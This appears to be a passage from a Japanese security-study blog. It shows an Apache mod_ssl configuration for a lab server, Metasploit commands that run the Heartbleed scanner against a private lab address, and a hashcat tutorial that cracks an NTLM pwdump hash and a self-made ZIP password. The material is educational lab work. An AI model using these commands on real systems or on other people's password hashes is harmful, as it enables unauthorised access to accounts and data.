# Configure the path to the mutual exclusion semaphore the
# SSL engine uses internally for inter-process synchronization.
SSLMutex default

# Pseudo Random Number Generator (PRNG):
# Configure one or more sources to seed the PRNG of the
# SSL library. The seed data should be of good random quality.
# WARNING! On some platforms /dev/random blocks if not enough entropy
# is available. This means you then cannot use the /dev/random device
# because it would lead to very long connection times (as long as
# it requires to make more entropy available). But usually those
# platforms additionally provide a /dev/urandom device which doesn't
# block. So, if available, use this one instead. Read the mod_ssl User
# Manual for more details.
SSLRandomSeed startup file:/dev/urandom 256
SSLRandomSeed connect builtin
#SSLRandomSeed startup file:/dev/random 512
#SSLRandomSeed connect file:/dev/random 512
#SSLRandomSeed connect file:/dev/urandom 512

#
# Use "SSLCryptoDevice" to enable any supported hardware
# accelerators. Use "openssl engine -v" to list supported
# engine names. NOTE: If you enable an accelerator and the
# server does not start, consult the error logs and ensure
# your accelerator is functioning properly.
#
SSLCryptoDevice builtin
#SSLCryptoDevice ubsec

##
## SSL Virtual Host Context
##

<VirtualHost _default_:443>

# General setup for the virtual host, inherited from global configuration
#DocumentRoot "/var/www/html"
#ServerName www.example.com:443

# Use separate log files for the SSL virtual host; note that LogLevel
# is not inherited from httpd.conf.
ErrorLog logs/ssl_error_log
TransferLog logs/ssl_access_log
LogLevel warn

# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on

# SSL Protocol support:
# List the enable protocol levels with which clients will be able to
# connect. Disable SSLv2 access by default:
SSLProtocol all -SSLv2

# SSL Cipher Suite:
# List the ciphers that the client is permitted to negotiate.
# See the mod_ssl documentation for a complete list.
SSLCipherSuite DEFAULT:!EXP:!SSLv2:!DES:!IDEA:!SEED:+3DES

# Server Certificate:
# Point SSLCertificateFile at a PEM encoded certificate. If
# the certificate is encrypted, then you will be prompted for a
# pass phrase. Note that a kill -HUP will prompt again. A new
# certificate can be generated using the genkey(1) command.
#SSLCertificateFile /etc/pki/tls/certs/localhost.crt
SSLCertificateFile /etc/httpd/cert/server.crt

# Server Private Key:
# If the key is not combined with the certificate, use this
# directive to point at the key file. Keep in mind that if
# you've both a RSA and a DSA private key you can configure
# both in parallel (to also allow the use of DSA ciphers, etc.)
#SSLCertificateKeyFile /etc/pki/tls/private/localhost.key
SSLCertificateKeyFile /etc/httpd/cert/server.key

# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/pki/tls/certs/server-chain.crt

# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
#SSLCACertificateFile /etc/pki/tls/certs/ca-bundle.crt

# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10

# Access Control:
# With SSLRequire you can do per-directory access control based
# on arbitrary complex boolean expressions containing server
# variable checks and other lookup directives. The syntax is a
# mixture between C and Perl. See the mod_ssl documentation
# for more details.
#<Location />
#SSLRequire ( %{SSL_CIPHER} !~ m/^(EXP|NULL)/ \
# and %{SSL_CLIENT_S_DN_O} eq "Snake Oil, Ltd." \
# and %{SSL_CLIENT_S_DN_OU} in {"Staff", "CA", "Dev"} \
# and %{TIME_WDAY} >= 1 and %{TIME_WDAY} <= 5 \
# and %{TIME_HOUR} >= 8 and %{TIME_HOUR} <= 20 ) \
# or %{REMOTE_ADDR} =~ m/^192\.76\.162\.[0-9]+$/
#</Location>

# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o StrictRequire:
# This denies access when "SSLRequireSSL" or "SSLRequire" applied even
# under a "Satisfy any" situation, i.e. when it applies access is denied
# and no other module can change it.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<Files ~ "\.(cgi|shtml|phtml|php3?)$">
SSLOptions +StdEnvVars
</Files>
<Directory "/var/www/cgi-bin">
SSLOptions +StdEnvVars
</Directory>

# SSL Protocol Adjustments:
# The safe and default but still SSL/TLS standard compliant shutdown
# approach is that mod_ssl sends the close notify alert but doesn't wait for
# the close notify alert from client. When you need a different shutdown
# approach you can use one of the following variables:
# o ssl-unclean-shutdown:
# This forces an unclean shutdown when the connection is closed, i.e. no
# SSL close notify alert is send or allowed to received. This violates
# the SSL/TLS standard but is needed for some brain-dead browsers. Use
# this when you receive I/O errors because of the standard approach where
# mod_ssl sends the close notify alert.
# o ssl-accurate-shutdown:
# This forces an accurate shutdown when the connection is closed, i.e. a
# SSL close notify alert is send and mod_ssl waits for the close notify
# alert of the client. This is 100% SSL/TLS standard compliant, but in
# practice often causes hanging connections with brain-dead browsers. Use
# this only for browsers where you know that their SSL implementation
# works correctly.
# Notice: Most problems of broken clients are also related to the HTTP
# keep-alive facility, so you usually additionally want to disable
# keep-alive for those clients, too. Use variable "nokeepalive" for this.
# Similarly, one has to force some clients to use HTTP/1.0 to workaround
# their broken HTTP/1.1 implementation. Use variables "downgrade-1.0" and
# "force-response-1.0" for this.
SetEnvIf User-Agent ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0

# Per-Server Logging:
# The home of a custom SSL log file. Use this when you want a
# compact non-error SSL logfile on a virtual host basis.
CustomLog logs/ssl_request_log \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"

</VirtualHost>

 

 

実行結果

 

動画中で実行したコマンドは以下の通りです。

  • search heartbleed
  • use auxiliary/scanner/ssl/openssl_heartbleed
  • info(詳細情報の確認)
  • set RHOSTS 192.168.1.224(攻撃対象(CentOS6.5)のアドレス)
  • set verbose true(画面上に結果を返す設定)
  • run

参考にさせていただいたサイト

eset-info.canon-its.jp

www.ipa.go.jp

www2.deloitte.com

 

 

 

 

 

hashcatの使い方

目次

 

hashcatの概要

hashcatはパスワードクラックのツールです。
hashcatで行うパスワードクラックは稼働しているシステムに対してアカウントがロックされるまでログイン試行を行うようなものではなく、パスワードのハッシュ値から元のパスワードを割り出すものです。
一般的にシステム上のパスワードに関しては平文で保持されるケースは稀で、NISTのガイドラインにおいても「パスワードは適切な一方向鍵導出関数を用いてソルト付きでハッシュ化されなければならない(SHALL)。」と記載されているため、パスワードの保存に関して平文での保存は認めていません。

 

 

 

hashcatによるパスワードクラックの手法

hashcatはブルートフォース攻撃以外にもパスワードクラックの手法が実装されています。

辞書攻撃

辞書攻撃はパスワードの候補のリストを指定し、その中の単語を1つずつ試していく方法です。リストの例としては、「rockyou.txt」等があります。

コンビネーター攻撃

2つの単語をつなげたパスワードに対する攻撃です。

 

マスク攻撃

特定の形式のパスワードに対する攻撃です。
先頭が大文字で6文字の小文字が続き、末尾は数字1つといった形式を指定することが可能です。

 

ルールベース攻撃

対象のパスワードの構成に当たりがつく際に選択する攻撃手法です。

 

ブルートフォース攻撃

総当たりで試行する攻撃です。

 

なお、hashcatでは「-a」オプションで上記攻撃モードが指定できます。

オプション モード名 内容
0 Straight 辞書攻撃
1 Combination コンビネーション攻撃
3 Brute-force ブルートフォース攻撃
6 Hybrid Wordlist + Mask 辞書+マスク
7 Hybrid Mask + Wordlist マスク+辞書

hashcat.net

 

hashcatを使ったパスワードクラックの例

hashcatを使ったパスワードクラックの操作について以下に記載します。

1.pwdump形式のパスワードクラック

pwdumpとは

pwdumpは、SAMデータベース等からアカウントのLMおよびNTLMのパスワードハッシュを出力するWindowsのプログラムの名称です。

この形式で出力されたファイルは以下のようになります。

pwdump形式の出力例

上記「Jon」の例でみてみると以下のような構成になります。

  • 「Jon」:ユーザー名
  • 1000:相対識別子 (500 は管理者、502はKerberosアカウント等)
  • aad3b435b51404eeaad3b435b51404ee:LMハッシュ
  • ffb43f0de35be4d9917ac0cc8ad57f8d:NTLMハッシュ

pwdump形式のパスワードクラック

上記のJonの内容をそのままファイルに貼り付けて保存(以下の例では「jonorg」とします)し、以下のコマンドで解析を行います。

hashcat -m 1000 -a 0 ./jonorg rockyou.txt

オプションの説明

  • -m 1000    :ハッシュタイプ(この場合はNTLM)を指定します。
  • -a 0    :攻撃モード(この場合は辞書攻撃)を指定します。
  • ./jonorg    :解析したいハッシュが含まれるpwdump形式のファイルです。
  • rockyou.txt    :使用する辞書ファイルです。

なお、hashcatは一度解析したパスワードハッシュ値を「hashcat.potfile」として記録し、一度解析したハッシュ値を解析対象から除外します。

ご参考:ファイルのパス
~/.local/share/hashcat/hashcat.potfile

そのため、過去の解析分を削除し、新たに解析を行うには、Hashcatが生成したhashcat.potfileファイルを削除または「--potfile-disable」のオプションを指定して実行します。

 

2.hashcatでZipファイルのパスワードを解読する

実際にhashcatでパスワード付きZipファイルを解読してみます。
今回はKali Linux上で以下の操作を実行しました。

 

パスワード付きZIPの作成

以下のコマンドでパスワードが「pass」と設定したZipファイルを作成します。

echo "Hello!" > Hello.txt
zip -e --password=pass Hello.txt.zip Hello.txt

 

Zipからハッシュ値を取得の解読

johnの中に含まれるzip2johnを使ってZipファイルよりハッシュ値を取得します。

zip2john Hello.txt.zip | cut -d ":" -f 2 > Hello.txt.zip.hash

上記コマンドにより以下のようなハッシュ値が取得できます。

root@kali:~# cat Hello.txt.zip.hash
$pkzip2$1*2*2*0*13*7*b042d89e*0*43*0*13*b042*ab66*c354e2c6e579378c0784e27df319185a18104b*$/pkzip2$

取得したハッシュ値の形式を以下のサイトで確認します。

hashcat.net

今回はpkzipに該当するもの(17200)を確認します。

 

ハッシュ値の探索

hashcatを使ってハッシュ値を探索します。以下のようなコマンドで実行します。

hashcat -m 17210 -a 3 Hello.txt.zip.hash --increment '?a?a?a?a' 

  • -m:ハッシュ形式の指定
  • -a:アタックモードの指定
  • --increment:あとに続くマスク形式'?a?a?a?a'の文字数に至るまで一文字ずつ増やす設定(この例では4文字まで実行)
  • '?a?a?a?a':マスク指定

マスクの文字設定 

オプション 概要 内容
?l アルファベット小文字 abcdefghijklmnopqrstuvwxyz
?u アルファベット大文字 ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d 数字 0123456789
?s 記号 !”#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a ?l?u?d?sと同じ  
?b 16進数 0x00 – 0xff

hashcat.net

 

上記を実行すると1分もしないうちに以下の結果が表示されます。 

$pkzip2$1*2*2*0*13*7*b042d89e*0*43*0*13*b042*ab66*c354e2c6e579378c0784e27df319185a18104b*$/pkzip2$:pass

 

ここまでで、Zipファイルに設定したパスワードを解析できました。

 

ご参考:Hack The Boxでの利用例

オンラインでセキュリティスキルの勉強ができるHack The Box(HTB)で実際にhashcatを使用したマシンの記事を以下に記載します。

【Hack The Box】Sunday - 家studyをつづって

【Hack The Box】node - 家studyをつづって

【Hack The Box】Previse - 家studyをつづって

【Hack The Box】Delivery - 家studyをつづって

【Hack The Box】Armageddon - 家studyをつづって